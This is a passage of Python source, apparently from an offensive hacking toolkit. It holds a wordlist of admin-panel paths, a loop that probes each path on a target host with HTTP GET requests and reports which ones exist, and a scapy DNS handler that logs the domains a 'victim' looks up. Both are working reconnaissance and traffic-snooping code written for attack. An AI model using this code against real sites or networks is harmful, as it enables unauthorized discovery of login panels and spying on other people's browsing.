'admin/controlpanel.html', 'admin.html', 'admin/cp.html', 'cp.html', 'adminpanel.brf', 'moderator.html', 'administrator/index.html', 'administrator/login.html', 'user.html', 'administrator/account.html', 'administrator.html', 'login.html', 'modelsearch/login.html', 'moderator/login.html', 'adminarea/login.html', 'panel-administracion/index.html', 'panel-administracion/admin.html', 'modelsearch/index.html', 'modelsearch/admin.html', 'admincontrol/login.html', 'adm/index.html', 'adm.html', 'moderator/admin.html', 'user.brf', 'account.html', 'controlpanel.html', 'admincontrol.html', 'panel-administracion/login.brf', 'wp-login.brf', 'adminLogin.brf', 'admin/adminLogin.brf', 'home.brf', 'admin.brf', 'adminarea/index.brf', 'adminarea/admin.brf', 'adminarea/login.brf', 'panel-administracion/index.brf', 'panel-administracion/admin.brf', 'modelsearch/index.brf', 'modelsearch/admin.brf', 'admincontrol/login.brf', 'adm/admloginuser.brf', 'admloginuser.brf', 'admin2.brf', 'admin2/login.brf', 'admin2/index.brf', 'usuarios/login.brf', 'adm/index.brf', 'adm.brf', 'affiliate.brf', 'adm_auth.brf', 'memberadmin.brf', 'administratorlogin.brf'] print_process("Started admin finder for {} at {}".format(self.site, src.source.use.time.strftime("%H:%M:%S"))) try: for admin in admin_path: admin = admin.replace("\n", "") admin = "/" + admin connection = src.source.use.httplib.HTTPConnection(site_target) connection.request("GET", admin) response = connection.getresponse() code = response.status if code == 200: print_process("admin page found on {} of host {}".format( admin, self.site )) else: print_warning("admin page not found {} of host {}".format( admin, self.site )) except src.source.use.httplib.NotConnected as time_out: print_error(str(time_out)) except KeyboardInterrupt: print_error("Exiting... Interrupt (Ctrl+C)") src.source.use.time.sleep(0.6) except IOError as error: print_error(str(error))
def dns_handler(self, pkt): if pkt.haslayer(DNS) and pkt.getlayer(DNS).qr == 0: print_process("Victim: {ip} has searched for: {site}".format( ip=self.ip_address, site=pkt.getlayer(DNS).qd.name))